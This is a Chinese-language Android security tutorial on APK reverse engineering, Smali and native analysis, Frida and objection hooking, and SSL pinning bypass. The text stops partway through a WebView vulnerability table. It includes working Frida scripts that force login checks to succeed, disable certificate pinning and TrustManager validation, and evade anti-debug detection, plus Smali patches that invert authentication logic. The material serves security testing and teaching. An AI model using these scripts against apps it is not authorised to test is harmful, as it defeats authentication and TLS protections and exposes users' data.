移动安全攻防是网络安全领域的重要分支,Android凭借全球超过70%的市场占有率,成为移动应用安全研究的主战场。一台 rooted 手机配合 Frida、objection、IDA Pro 等工具,足以完成从静态逆向到动态 Hook、从协议分析到漏洞利用的完整链路。本文按"架构认知 → 静态逆向 → 动态分析 → 漏洞实战 → 防御加固"的递进顺序,系统梳理 Android 安全攻防的完整技术栈,所有脚本均经过实测可复现。
【提示】 本文所有技术内容仅用于授权的安全测试、漏洞研究与教学学习。对未授权目标进行逆向、Hook、渗透测试可能违反《网络安全法》《数据安全法》及目标应用的服务条款。读者应仅在自己的应用或获得书面授权的目标上实践,由此产生的任何法律责任由操作者本人承担。
一、Android安全架构基础
理解攻防技术的前提是理解 Android 的分层架构与安全模型。Android 安全体系并非单一机制,而是从内核到应用层逐级叠加的纵深防御。
1.1 Android系统架构分层
| 层级 | 名称 | 主要内容 | 安全相关职责 |
|---|---|---|---|
| 应用层 | Application Layer | 系统/第三方应用 APK | 权限申请、组件导出控制、签名校验 |
| 框架层 | Application Framework | Activity Manager、Package Manager、Window Manager 等 | 权限校验、组件管理、Intent 分发 |
| 运行时层 | Runtime & Libraries | ART 虚拟机、Bionic libc、SQLite、OpenGL | 沙箱隔离、DEX 解释/JIT/AOT、JNI 边界 |
| 内核层 | Linux Kernel | 进程调度、内存管理、驱动 | UID 隔离、SELinux、seccomp、Keyring |
1.2 Android核心安全机制
| 机制 | 实现层级 | 作用 | 绕过/攻防要点 |
|---|---|---|---|
| 应用沙箱 | 内核层 | 每个 APP 独立 UID,进程间文件/内存隔离 | 提权漏洞(如 CVE-2019-2215)突破沙箱 |
| 权限模型 | 框架层 | 危险权限运行时授权,普通权限安装时授予 | 检查是否滥用、是否运行时缺失校验 |
| 签名机制 | 框架层 | APK 完整性校验、升级一致性校验 | 自签名伪造、签名校验绕过 |
| SELinux | 内核层 | 强制访问控制,限制进程能力域 | permissive 模式、策略漏洞 |
| seccomp | 内核层 | 限制进程可调用系统调用集合 | 漏洞绕过过滤器 |
| Keystore | 硬件/TEE | 密钥安全存储与运算(RSA/EC/AES) | KeyMaster 漏洞、TEE 攻破 |
| Verified Boot | 引导层 | 启动链完整性校验 | 解锁 BL 后失效 |
1.3 APK文件结构详解
APK 本质是 ZIP 压缩包,其内部结构直接决定了逆向工具的解析方式。
| 文件/目录 | 作用 | 逆向关注点 |
|---|---|---|
AndroidManifest.xml |
应用清单,声明组件、权限、SDK | 二进制 XML,需用 APKTool 还原 |
classes.dex / classes2.dex |
Dalvik 字节码,Java/Kotlin 编译产物 | 反编译为 Smali/Java,审计逻辑 |
res/ |
资源文件(布局、图片、字符串) | 查找敏感字符串、硬编码 |
lib/ |
Native 库(arm64-v8a/armeabi-v7a/x86) |
IDA/Ghidra 分析 SO,JNI 函数定位 |
assets/ |
原始资源,可放 dex/so/配置 | 动态加载 dex、加壳 payload |
META-INF/ |
签名信息(MANIFEST.MF、CERT.RSA、CERT.SF) | v1/v2/v3 签名校验、签名方案识别 |
resources.arsc |
编译后的资源索引 | 资源 ID 映射、字符串提取 |
kotlin/ |
Kotlin 元数据 | Kotlin 反编译辅助 |
1.4 Dalvik与ART对比
| 维度 | Dalvik | ART |
|---|---|---|
| 引入版本 | Android 1.0 | Android 5.0(默认) |
| 执行方式 | JIT 即时编译 | AOT + JIT + Profile-guided |
| 安装耗时 | 快 | AOT 模式较慢,PGO 后改善 |
| 运行性能 | 较低 | 接近原生 |
| 字节码格式 | DEX | DEX(ODEX/VDEX/OAT 优化产物) |
| GC 机制 | 串行/并行 | 并发标记清除,暂停更短 |
| 逆向影响 | Smali 结构简单 | OAT 反编译需特殊处理 |
1.5 Android版本安全特性演进
| 版本 | API | 关键安全特性 | 攻防影响 |
|---|---|---|---|
| Android 6.0 | 23 | 运行时权限、指纹 API | 静态授权失效,需动态申请 |
| Android 7.0 | 24 | SELinux 强制、CertificatePinning | 文件 Intent 受限 |
| Android 8.0 | 26 | Native API 限制、PIE 强制 | 隐式广播受限 |
| Android 9.0 | 28 | HTTP 明文默认禁用、SELinux 收紧 | Network Security Config |
| Android 10 | 29 | 分区存储、MAC 随机化 | 文件访问范围收窄 |
| Android 11 | 30 | 单次权限、包可见性过滤 | 隐式 Intent 查询受限 |
| Android 12 | 31 | BLAST 缓冲区、隐私仪表盘 | PendingIntent 强制可变标志 |
| Android 13 | 33 | 运行时通知权限、APK 签名 v3.1 | 通知需显式授权 |
| Android 14 | 34 | 前台服务类型强制、隐式 Intent 收紧 | 组件导出强制显式声明 |
二、APK逆向基础
逆向的第一步是把二进制 APK 还原成可读的代码与资源,工具选型直接影响后续审计效率。
2.1 反编译工具对比
| 工具 | 处理对象 | 输出形式 | 优势 | 适用场景 |
|---|---|---|---|---|
| APKTool | APK 整体 | Smali + 资源 | 资源还原准确、可重打包 | 修改资源、重打包签名 |
| dex2jar | DEX | JAR | 配合 JD-GUI 查看 | 快速浏览 Java 伪码 |
| JADX | APK/DEX | Java 伪码 | 反编译质量高、GUI 友好 | 日常审计首选 |
| JEB | APK/DEX | Java 伪码 + 交叉引用 | 商业级分析、支持脚本 | 复杂逻辑分析 |
| IDA Pro | SO/ELF | 汇编 + 伪 C | Native 分析标杆 | SO 逆向、漏洞分析 |
| Ghidra | SO/ELF | 汇编 + 伪 C | 开源免费、支持协作 | Native 逆向替代方案 |
2.2 APKTool使用
APKTool 负责资源还原与 Smali 提取,是重打包流程的核心。
反编译命令:
bash
apktool d target.apk -o target_out
# 指定 framework,避免资源解析冲突
apktool d target.apk -f -o target_out -p framework/
# 仅提取 smali,不解码资源(提速)
apktool d target.apk -s -o target_out
重打包命令:
bash
apktool b target_out -o target_repacked.apk
# 重打包后必须重新签名,否则安装失败
签名命令(使用 apksigner,推荐 v2 签名):
bash
# 生成测试密钥
keytool -genkey -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000 -storepass 123456 -keypass 123456 -dname "CN=Test,O=Test,C=CN"
# v1+v2+v3 签名
apksigner sign --ks test.keystore --ks-pass pass:123456 --key-pass pass:123456 --v1-signing-enabled true --v2-signing-enabled true --v3-signing-enabled true target_repacked.apk
# 验证签名
apksigner verify -v target_repacked.apk
2.3 JADX使用
JADX 提供命令行与 GUI 两种模式,适合快速浏览 Java 伪码。
bash
# 命令行批量反编译
jadx -d output_dir target.apk
# 显示反编译进度与错误
jadx -d output_dir --show-bad-code target.apk
# 仅导出资源,不反编译代码
jadx -r -d output_dir target.apk
# 导出 Gradle 工程,便于 IDE 调试
jadx -e -d output_dir target.apk
GUI 模式下的高频操作:Ctrl+Shift+F 全局搜索字符串、Ctrl+F 类内搜索、右键 Find Usage 查看交叉引用、右键 Deobfuscate 映射混淆名。
2.4 Smali语法基础
Smali 是 Dalvik 字节码的人类可读形式,掌握其语法是审计与修改的基础。
| 语法元素 | 示例 | 含义 |
|---|---|---|
| 寄存器 | v0, v1, p0 |
局部寄存器 v,参数寄存器 p |
| 类型前缀 | I, J, Z, Ljava/lang/String; |
int/long/boolean/对象类型 |
| 方法签名 | Lcom/a/B;->foo(Ljava/lang/String;)I |
B.foo(String):int |
| 字段引用 | Lcom/a/B;->name:Ljava/lang/String; |
B 类的 name 字段 |
| 移动 | move-result, move-object |
取上一条指令结果 |
| 常量加载 | const/4 v0, 0x1 |
v0 = 1 |
| 方法调用 | invoke-virtual, invoke-static |
实例方法/静态方法 |
| 返回 | return-void, return v0 |
无返回/返回值 |
| 比较 | if-eqz v0, :cond_0 |
v0==0 跳转 |
| 数组操作 | aget, aput, array-length |
数组读写与长度 |
2.5 DEX文件格式详解
| 字段 | 大小 | 作用 |
|---|---|---|
magic |
8B | 魔数 dex\n035\0 |
checksum |
4B | Adler-32 校验 |
signature |
20B | SHA-1 签名 |
file_size / header_size |
4B/4B | 文件与头大小 |
string_ids_size / off |
4B/4B | 字符串池 |
type_ids_size / off |
4B/4B | 类型池 |
proto_ids_size / off |
4B/4B | 方法原型池 |
field_ids_size / off |
4B/4B | 字段池 |
method_ids_size / off |
4B/4B | 方法池 |
class_defs_size / off |
4B/4B | 类定义 |
data / link |
变长 | 数据与链接区 |
2.6 完整逆向流程
text
获取APK → 病毒扫描 → 解包(APKTool) → 资源审计 → DEX反编译(JADX)
→ Manifest分析 → Smali审计 → Native提取 → IDA分析 → 动态调试
→ 报告产出
每一步的产物应分类归档,便于回溯。重打包后务必验证签名方案与目标 Android 版本兼容性。
三、Android Manifest分析
AndroidManifest.xml 是应用的"身份证",组件导出、权限声明、Intent 过滤器等关键安全属性全部集中于此。
3.1 AndroidManifest.xml结构
xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.app"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="34" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_SMS" />
<application
android:name=".App"
android:allowBackup="true"
android:debuggable="false"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_config"
android:usesCleartextTraffic="false">
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".PayService" android:exported="false" />
<receiver android:name=".SmsReceiver" android:exported="true"
android:permission="android.permission.BROADCAST_SMS">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<provider android:name=".DataProvider"
android:authorities="com.example.app.data"
android:exported="false" />
</application>
</manifest>
3.2 四大组件安全分析
| 组件 | 作用 | 主要风险 | 防护要点 |
|---|---|---|---|
| Activity | 界面 | 界面劫持、Intent 注入、越权启动 | exported=false、权限校验 |
| Service | 后台 | 越权调用、拒绝服务、数据泄露 | exported=false、签名权限 |
| BroadcastReceiver | 广播 | 伪造广播、信息泄露、提权 | permission 保护、动态注册 |
| ContentProvider | 数据共享 | SQL 注入、目录遍历、数据泄露 | exported=false、参数过滤 |
3.3 组件导出风险
| 属性 | 含义 | 风险等级 | 典型漏洞 |
|---|---|---|---|
android:exported="true" |
可被外部应用调用 | 高 | 越权启动、数据泄露 |
android:exported="false" |
仅应用内部调用 | 低 | 配合 intent-filter 默认导出易被忽视 |
含 intent-filter 未设 exported |
API 31+ 强制声明 | 高 | 历史默认导出 |
android:permission 保护 |
调用方需持权限 | 中 | 自定义权限未加签名级保护 |
android:grantUriPermissions |
URI 临时授权 | 中 | 永久授权或范围过大 |
【提示】 含
intent-filter的组件在 API 30 及以下默认exported=true。升级 targetSdk 后若未显式声明,编译期会报错,但旧 APK 仍可能存在默认导出风险。
3.4 权限分析
| 权限类别 | 保护级别 | 示例 | 审计要点 |
|---|---|---|---|
| 普通权限 | normal | INTERNET |
安装即授予,关注是否过度申请 |
| 危险权限 | dangerous | READ_SMS, READ_CONTACTS |
运行时授权,检查是否校验 |
| 签名权限 | signature | BIND_DEVICE_ADMIN |
仅同签名应用可获,自定义需谨慎 |
| 系统权限 | signature|privileged | MOUNT_UNINSTALL_FILESYSTEMS |
仅系统应用 |
| 自定义权限 | 自定义 | <permission android:name=...> |
是否声明 protectionLevel |
自定义权限若未声明签名级保护,任意应用声明同名权限即可获取,造成权限绕过。
3.5 Intent分析
| 类型 | 形式 | 风险 |
|---|---|---|
| 显式 Intent | 指定包名/类名 | 越权调用已导出组件 |
| 隐式 Intent | 仅指定 action/category | Intent 劫持、信息泄露 |
| Deep Link | scheme://host/path |
越权跳转、参数注入 |
| App Link | https:// + 域名验证 |
校验不严仍可被绕过 |
| Scheme | myapp:// |
任意应用可声明,易被劫持 |
3.6 完整Manifest安全审计
审计顺序:权限清单 → 组件导出 → Intent Filter → allowBackup/debuggable/cleartextTraffic → networkSecurityConfig → 自定义权限保护级别 → provider 的 authorities 与 exported。重点关注 exported=true 且无权限保护的组件。
四、Smali代码分析
Smali 是修改与审计 APK 逻辑的直接入口,理解寄存器、指令与控制流是定位漏洞的前提。
4.1 寄存器与常用指令
| 指令类别 | 示例 | 说明 |
|---|---|---|
| 寄存器声明 | .registers 4 |
方法使用 4 个寄存器 |
| 参数寄存器 | p0=this, p1... |
实例方法首参为 this |
| 移动 | move-object v0, p1 |
对象引用移动 |
| 常量 | const-string v0, "hello" |
字符串常量 |
| 字段读写 | iget, iput, sget, sput |
实例/静态字段 |
| 方法调用 | invoke-virtual {p0, p1}, Lc/A;->foo(Ljava/lang/String;)V |
实例方法 |
| 静态调用 | invoke-static {p0}, Lc/A;->bar(I)I |
静态方法 |
| 构造调用 | invoke-direct {p0}, Lc/A;-><init>()V |
构造方法 |
| 比较 | if-eqz v0, :cond_0 |
为零跳转 |
| 数组 | new-array v0, v1, [Ljava/lang/String; |
新建数组 |
4.2 方法签名解析
Lcom/example/App;->checkLogin(Ljava/lang/String;Ljava/lang/String;)Z 表示 com.example.App 类的 checkLogin(String, String):boolean 方法。L 开头是对象类型,; 结尾;基本类型用单字母(I=int,Z=boolean,J=long,F=float,D=double,B=byte,C=char,S=short);数组用前导 [。
4.3 条件跳转与循环
条件分支示例(判断登录状态):
smali
.method public isLogin()Z
.registers 2
iget-boolean v0, p0, Lcom/example/App;->logined:Z
if-eqz v0, :cond_not_login
const/4 v1, 0x1
return v1
:cond_not_login
const/4 v1, 0x0
return v1
.end method
修改要点:审计登录校验时,将 if-eqz 改为 if-nez 即可反转逻辑,或直接 const/4 v0, 0x1; return v0 强制返回 true。
4.4 字符串与资源引用
字符串常量直接出现在 const-string 中,资源 ID 通过 R.string.xxx 对应的整数 ID 引用。逆向时优先全局搜索 const-string 中的 URL、key、token 等敏感串:
smali
const-string v0, "https://api.example.com/v1/login"
const-string v1, "AES_KEY_1234567890abcdef"
4.5 常见漏洞模式
| 漏洞类型 | Smali 特征 | 危害 |
|---|---|---|
| WebView 漏洞 | setJavaScriptEnabled(true) + addJavascriptInterface |
远程代码执行 |
| Intent 注入 | getIntent() 后未校验直接 startActivity |
越权启动 |
| SQL 注入 | rawQuery 拼接用户输入 |
数据库越权读写 |
| 不安全文件 | openFileOutput 使用 MODE_WORLD_READABLE |
数据泄露 |
| 硬编码密钥 | const-string 含 AES/RSA 密钥 |
加密失效 |
| 弱随机 | new Random() 生成 token |
可预测 |
4.6 完整Smali审计流程
先定位 Application.onCreate 查看初始化逻辑,再追组件入口(Activity.onCreate),搜索关键 API(Cipher、HttpURLConnection、SharedPreferences),最后跟踪权限校验函数。审计循环与递归时注意循环边界与退出条件。
五、Native层逆向(SO库分析)
商业应用普遍将核心算法、加签逻辑、反调试代码下沉到 Native 层,SO 逆向是绕过 Java 层保护的关键。
5.1 JNI函数注册
| 注册方式 | 原理 | 识别方法 |
|---|---|---|
| 静态注册 | 函数名 Java_包名_类名_方法名 |
IDA 导出表直接搜索 Java_ 前缀 |
| 动态注册 | RegisterNatives 在 JNI_OnLoad 中注册 |
分析 JNI_OnLoad、RegisterNatives 调用 |
动态注册示例(C 侧):
c
static JNINativeMethod g_methods[] = {
{"nativeSign", "(Ljava/lang/String;)Ljava/lang/String;", (void*)native_sign},
};
jint JNI_OnLoad(JavaVM* vm, void* reserved) {
JNIEnv* env;
(*vm)->GetEnv(vm, (void**)&env, JNI_VERSION_1_6);
jclass clazz = (*env)->FindClass(env, "com/example/NativeLib");
(*env)->RegisterNatives(env, clazz, g_methods, 1);
return JNI_VERSION_1_6;
}
5.2 IDA Pro分析SO库
典型流程:加载 SO → 等待自动分析 → 定位 JNI_OnLoad → 跟进 RegisterNatives → 还原函数表 → 逐个分析注册的 native 方法 → 查看交叉引用(X 键)→ 反编译伪 C(F5)。导出函数在 Exports 窗口,未导出函数在 Functions 窗口或通过字符串引用定位。
常用 IDA 快捷键:G 跳转地址、N 重命名、Y 修改类型、H 十六进制/十进制切换、X 交叉引用、F5 反编译。
5.3 ARM/ARM64汇编基础
| 元素 | ARM (32) | ARM64 | 说明 |
|---|---|---|---|
| 通用寄存器 | R0-R12 | X0-X30 / W0-W30 | 64 位用 X,低 32 位用 W |
| 参数寄存器 | R0-R3 | X0-X7 | 前 4/8 个参数 |
| 返回值 | R0 | X0 | 函数返回值 |
| 链接寄存器 | LR (R14) | LR (X30) | 返回地址 |
| 栈指针 | SP (R13) | SP | 栈顶 |
| 程序计数器 | PC (R15) | PC | 当前指令 |
| 调用约定 | AAPCS | AAPCS64 | 调用者保存 R0-R3 |
| 跳转指令 | B, BL, BX |
B, BL, RET |
BL 带链接 |
| 加载存储 | LDR, STR |
LDR, STR, LDP, STP |
LDP/STP 成对 |
5.4 native层常见漏洞
| 漏洞 | 成因 | 利用方式 |
|---|---|---|
| 缓冲区溢出 | strcpy/sprintf 无边界检查 |
覆盖返回地址,ROP 利用 |
| 格式化字符串 | printf(user_input) |
%n 写内存、泄漏栈 |
| 整数溢出 | 有符号运算未校验 | 越界读写 |
| 释放后使用 | 对象释放后继续引用 | 堆利用 |
| 信息泄漏 | __stack_chk_fail 或日志含密钥 |
读取敏感数据 |
5.5 Frida attach分析SO函数
使用 Frida 在不修改 SO 的前提下挂钩 native 函数,观察参数与返回值:
javascript
// hook 导出函数
Interceptor.attach(Module.findExportByName("libnative.so", "Java_com_example_NativeLib_nativeSign"), {
onEnter: function (args) {
console.log("nativeSign input=" + args[2].readCString());
this.tid = this.threadId;
},
onLeave: function (retval) {
console.log("nativeSign output=" + retval.readCString());
}
});
5.6 完整Native逆向流程
text
lib提取 → IDA加载 → JNI_OnLoad分析 → RegisterNatives还原 → 函数定位
→ 交叉引用 → 伪C分析 → 算法还原 → Frida动态验证
六、Frida动态分析
Frida 是目前最强大的移动端动态分析框架,通过注入 JavaScript 引擎实现跨平台 Hook,几乎覆盖所有 Android 安全场景。
6.1 Frida架构与原理
| 组件 | 作用 |
|---|---|
| frida-core | 核心引擎,负责进程注入与消息通信 |
| frida-gum | 代码插桩引擎,提供 Interceptor、Stalker、Memory 等 API |
| frida-server | 运行在目标设备的服务进程,由 frida-core 启动 |
| frida-agent | 注入目标进程的 JS 运行时 |
| frida-tools | Python 客户端工具集(frida、frida-trace、frida-ps) |
工作链路:PC 端 Python 脚本 → frida-server(设备端)→ 注入目标进程 → 执行 JS Agent → 回传结果。
6.2 安装与环境配置
bash
# PC 端安装
pip install frida-tools frida
# 查看版本,确保与 frida-server 匹配
frida --version
# 设备端:下载对应版本 frida-server
adb push frida-server-16.x-android-arm64 /data/local/tmp/frida-server
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"
# 验证连接
frida-ps -U | grep <package>
# objection 安装
pip install objection
【提示】 frida-server 与 PC 端 frida-tools 主版本必须一致,否则会报 "unable to connect to remote frida-server"。arm64 设备务必下载
android-arm64版本。
6.3 Frida JavaScript API
| API | 作用 | 常用方法 |
|---|---|---|
Java |
Java 层操作 | perform, use, choose, cast |
Interceptor |
函数 Hook | attach, replace, detachAll |
Memory |
内存操作 | readPointer, writeU8, alloc, scan |
Module |
模块查询 | findExportByName, enumerateExports, getBaseAddress |
NativeFunction |
调用 native | new NativeFunction(ptr, retType, [argTypes]) |
NativePointer |
指针封装 | add, readCString, readByteArray |
Process |
进程信息 | enumerateModules, enumerateThreads, id |
Stalker |
指令跟踪 | follow, exclude |
Thread |
线程操作 | backtrace, sleep |
6.4 Java层Hook脚本
基础方法 Hook:
javascript
Java.perform(function () {
var Login = Java.use("com.example.Login");
Login.check.implementation = function (user, pwd) {
console.log("[Hook] user=" + user + " pwd=" + pwd);
var ret = this.check(user, pwd);
console.log("[Hook] ret=" + ret);
return true; // 强制登录成功
};
});
方法重载处理:
javascript
Java.perform(function () {
var cls = Java.use("com.example.Crypto");
// 存在多个重载时需指定参数类型
cls.encrypt.overload("java.lang.String", "int").implementation = function (data, mode) {
console.log("encrypt called: " + data + ", mode=" + mode);
return this.encrypt(data, mode);
};
});
内部类 Hook:
javascript
Java.perform(function () {
// 内部类用 $ 分隔
var Inner = Java.use("com.example.Outer$Inner");
Inner.doWork.implementation = function () {
console.log("Inner.doWork called");
return this.doWork();
};
});
动态加载 dex Hook:
javascript
Java.perform(function () {
var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
DexClassLoader.loadClass.overload("java.lang.String").implementation = function (name) {
console.log("[DexClassLoader] loadClass: " + name);
var clazz = this.loadClass(name);
if (name.indexOf("HotFix") !== -1) {
console.log("热修复类已加载: " + name);
}
return clazz;
};
});
6.5 Native层Hook脚本
导出函数 Hook:
javascript
Interceptor.attach(Module.findExportByName("libnative.so", "aes_encrypt"), {
onEnter: function (args) {
this.data = args[0];
this.len = args[1].toInt32();
console.log("input len=" + this.len);
console.log("input hex=" + hexdump(this.data, { length: this.len }));
},
onLeave: function (retval) {
console.log("output hex=" + hexdump(retval, { length: this.len }));
}
});
未导出函数 Hook(通过基址偏移):
javascript
var base = Module.findBaseAddress("libnative.so");
// 假设目标函数在 SO 内偏移 0x1234
var target = base.add(0x1234);
Interceptor.attach(target, {
onEnter: function (args) {
console.log("hidden func called, arg0=" + args[0]);
}
});
inline Hook 替换实现:
javascript
var orig = Module.findExportByName(null, "open");
Interceptor.replace(orig, new NativeCallback(function (path, flags) {
var p = Memory.readCString(path);
if (p.indexOf("/proc/self/maps") !== -1) {
// 反检测:返回伪造路径
Memory.writeUtf8String(path, "/dev/null");
}
return new NativeFunction(orig, "int", ["pointer", "int"])(path, flags);
}, "int", ["pointer", "int"]));
6.6 完整Frida脚本集
以下脚本覆盖常用场景,可直接 frida -U -f <pkg> -l script.js 使用。
打印所有方法调用(trace 单个类):
javascript
Java.perform(function () {
var Target = Java.use("com.example.Target");
var methods = Target.class.getDeclaredMethods();
methods.forEach(function (m) {
var name = m.getName();
try {
Target[name].overloads.forEach(function (overload) {
overload.implementation = function () {
console.log("[*] " + name + " called with " + JSON.stringify(arguments));
var ret = overload.apply(this, arguments);
console.log("[*] " + name + " returned " + ret);
return ret;
};
});
} catch (e) {}
});
});
打印调用栈:
javascript
console.log(Thread.backtrace(this.context, Backtracer.ACCURATE)
.map(DebugSymbol.fromAddress).join("\n"));
Hook 构造函数:
javascript
Java.perform(function () {
var Date = Java.use("java.util.Date");
Date.$init.overload().implementation = function () {
this.$init();
console.log("new Date() created");
};
});
Hook SharedPreferences 读取:
javascript
Java.perform(function () {
var SP = Java.use("android.app.SharedPreferencesImpl");
SP.getString.implementation = function (key, def) {
var v = this.getString(key, def);
console.log("SP.getString(" + key + ")=" + v);
return v;
};
});
Hook HashMap 存入(监控敏感数据):
javascript
Java.perform(function () {
var HashMap = Java.use("java.util.HashMap");
HashMap.put.implementation = function (k, v) {
if (k !== null && k.toString().indexOf("token") !== -1) {
console.log("HashMap.put(" + k + "=" + v + ")");
}
return this.put(k, v);
};
});
Hook Activity 启动:
javascript
Java.perform(function () {
var Activity = Java.use("android.app.Activity");
Activity.startActivity.overload("android.content.Intent").implementation = function (intent) {
console.log("startActivity: " + intent.toUri(0));
return this.startActivity(intent);
};
});
Hook WebView loadUrl:
javascript
Java.perform(function () {
var WebView = Java.use("android.webkit.WebView");
WebView.loadUrl.overload("java.lang.String").implementation = function (url) {
console.log("WebView loadUrl: " + url);
return this.loadUrl(url);
};
});
Hook ClipboardManager:
javascript
Java.perform(function () {
var CM = Java.use("android.content.ClipboardManager");
CM.setPrimaryClip.implementation = function (clip) {
console.log("Clipboard set: " + clip);
return this.setPrimaryClip(clip);
};
});
Hook 加密函数(Cipher):
javascript
Java.perform(function () {
var Cipher = Java.use("javax.crypto.Cipher");
Cipher.doFinal.overload("[B").implementation = function (data) {
var mode = this.getOpmode ? this.getOpmode() : this.getIV().length;
console.log("Cipher.doFinal mode=" + mode + " data=" + bytesToHex(data));
var ret = this.doFinal(data);
console.log("Cipher result=" + bytesToHex(ret));
return ret;
};
});
Hook 网络请求(OkHttp):
javascript
Java.perform(function () {
var OkHttpClient = Java.use("okhttp3.OkHttpClient");
var RealCall = Java.use("okhttp3.RealCall");
RealCall.execute.implementation = function () {
var req = this.request();
console.log("OkHttp " + req.method() + " " + req.url());
var resp = this.execute();
return resp;
};
});
七、objection自动化分析
objection 基于 Frida 封装了高层命令行接口,无需手写 JS 即可完成大部分 Hook、内存搜索、SSL 绕过等操作,是移动端快速测试的利器。
7.1 安装与使用
bash
pip install objection
# attach 已运行进程
objection -g com.example.app explore
# spawn 模式启动
objection -g com.example.app -s "android sslpinning disable" explore
# 指定设备
objection -g com.example.app --device <id> explore
7.2 Android常用命令速查
| 命令 | 作用 |
|---|---|
android hooking list classes |
列出已加载类 |
android hooking search classes <kw> |
搜索类 |
android hooking watch class <cls> |
监控类所有方法 |
android hooking watch class_method <m> --dump-args --dump-return |
监控方法并打印参数返回值 |
android hooking set return_value <m> true |
强制方法返回值 |
android heap print instances <cls> |
打印堆中实例 |
android heap execute <handle> <method> |
对实例调用方法 |
android root disable |
Root 检测绕过 |
android sslpinning disable |
SSL Pinning 绕过 |
android keystore clear |
清空 Keystore |
android intent launch_activity <cls> |
启动 Activity |
android hooking list activities |
列出 Activity |
android clipboard monitor |
监控剪贴板 |
memory list modules |
列出加载模块 |
memory list exports <lib> |
列出 SO 导出函数 |
memory search "pattern" --string |
内存搜索字符串 |
memory write <addr> "data" |
内存写入 |
7.3 自动化Hook与监控
text
objection> android hooking watch class com.example.Login
objection> android hooking watch class_method com.example.Login.check --dump-args --dump-return --dump-backtrace
objection> android hooking set return_value com.example.Login.check true
--dump-backtrace 打印调用栈,便于定位调用链。批量监控可在启动时通过 -s 传入多个命令。
7.4 内存搜索与修改
text
objection> memory search "AES_KEY" --string
objection> memory search "55 66 77 88" --hex
objection> memory write <addr> "HACKED"
搜索结果返回地址列表,可结合 memory list modules 判断归属模块。修改前确认地址可写。
7.5 调用栈追踪
text
objection> android hooking watch class_method com.example.Pay.verify --dump-backtrace
输出含完整调用链,可发现隐藏调用路径与反射调用点。
7.6 完整objection工作流程
text
spawn应用 → sslpinning bypass → root disable → 列出类 → 搜索关键类
→ 监控方法 → 查看参数 → 设置返回值 → 堆实例操作 → 内存搜索 → 导出报告
八、SSL Pinning绕过
SSL Pinning 通过预置服务器证书或公钥,阻止中间人抓包。绕过 Pinning 是协议分析的前提。
8.1 SSL Pinning分类
| 类型 | 固定内容 | 绕过难度 | 检测方式 |
|---|---|---|---|
| 证书固定 | 整张证书 | 低(替换校验函数) | OkHttp CertificatePinning |
| Public Key 固定 | 证书公钥 | 中 | SPKI hash 比对 |
| SPKI 固定 | SubjectPublicKeyInfo | 中高 | 多证书链校验 |
| 自定义校验 | 自实现逻辑 | 高 | 需逐一定位 |
8.2 OkHttp CertificatePinning绕过
javascript
Java.perform(function () {
var CertificatePinning = Java.use("okhttp3.CertificatePinner");
CertificatePinning.check.overload("java.lang.String", "java.util.List").implementation = function (host, peer) {
console.log("[Bypass] OkHttp CertificatePinning for " + host);
// 直接返回,跳过校验
};
// 部分版本使用 check$okhttp
if (CertificatePinning.check$okhttp) {
CertificatePinning.check$okhttp.implementation = function () {
console.log("[Bypass] check$okhttp");
};
}
});
8.3 TrustManager绕过
通用 TrustManager 绕过,覆盖多数 HTTPS 实现:
javascript
Java.perform(function () {
var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
var SSLContext = Java.use("javax.net.ssl.SSLContext");
var TrustManager = Java.registerClass({
name: "com.frida.TrustManager",
implements: [X509TrustManager],
methods: {
checkClientTrusted: function (chain, authType) {},
checkServerTrusted: function (chain, authType) {},
getAcceptedIssuers: function () {
return [];
}
}
});
var TrustManagers = [TrustManager.$new()];
var ctx = SSLContext.init.overload("[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom");
ctx.implementation = function (tms, sr) {
ctx.call(this, TrustManagers, sr);
};
});
8.4 Conscrypt绕过
Android 8+ 默认使用 Conscrypt 作为安全提供者,需额外处理:
javascript
Java.perform(function () {
var Conscrypt = Java.use("com.android.org.conscrypt.TrustManagerImpl");
Conscrypt.verifyChain.implementation = function (chain, host, clientAuth, ocspData, tlsSctData) {
console.log("[Bypass] Conscrypt verifyChain for " + host);
return chain;
};
});
8.5 Network Security Config绕过
network_security_config.xml 可强制 Pinning。绕过方式:反编译修改 res/xml/network_security_config.xml,删除 <pin-set> 节点后重打包;或用 Frida Hook android.security.net.config.NetworkSecurityConfig。
8.6 Frida SSL Pinning绕过脚本集
监控所有 SSL 相关类(覆盖 OkHttp/Conscrypt/TrustManager):
javascript
Java.perform(function () {
var pinning_classes = [
"okhttp3.CertificatePinner", "com.android.org.conscrypt.TrustManagerImpl",
"javax.net.ssl.X509TrustManager", "okhttp3.internal.tls.OkHostnameVerifier"
];
pinning_classes.forEach(function (name) {
try {
var cls = Java.use(name);
var methods = cls.class.getDeclaredMethods();
methods.forEach(function (m) {
var mn = m.getName();
if (["check", "verifyChain", "verify", "checkServerTrusted"].indexOf(mn) !== -1) {
cls[mn].overloads.forEach(function (o) {
o.implementation = function () {
console.log("[Bypass] " + name + "." + mn);
if (mn === "verifyChain") return arguments[0];
};
});
}
});
} catch (e) {}
});
});
objection 一键绕过:
text
objection -g com.example.app explore
objection> android sslpinning disable
8.7 完整SSL Pinning绕过方案
按"先 objection 一键 → 失败则 Frida 通杀脚本 → 仍失败则定位自定义校验 → 必要时反编译改 XML 重打包"的顺序逐级尝试。
九、Android常见漏洞实战
9.1 WebView漏洞
| 配置项 | 风险 | 利用 |
|---|---|---|
setJavaScriptEnabled(true) |
JS 可调用本地接口 | 配合 addJavascriptInterface RCE |
addJavascriptInterface(obj, "xx") |
JS 桥接暴露 Java 对象 | 反射调用 Runtime.exec(API<17) |
setAllowFileAccess(true) |
file:// 读取本地文件 | 跨域读取 |
setAllowUniversalAccessFromFileURLs(true) |
file 域可跨域请求 | 窃取任意源数据 |
setAllowFileAccessFromFileURLs(true) |
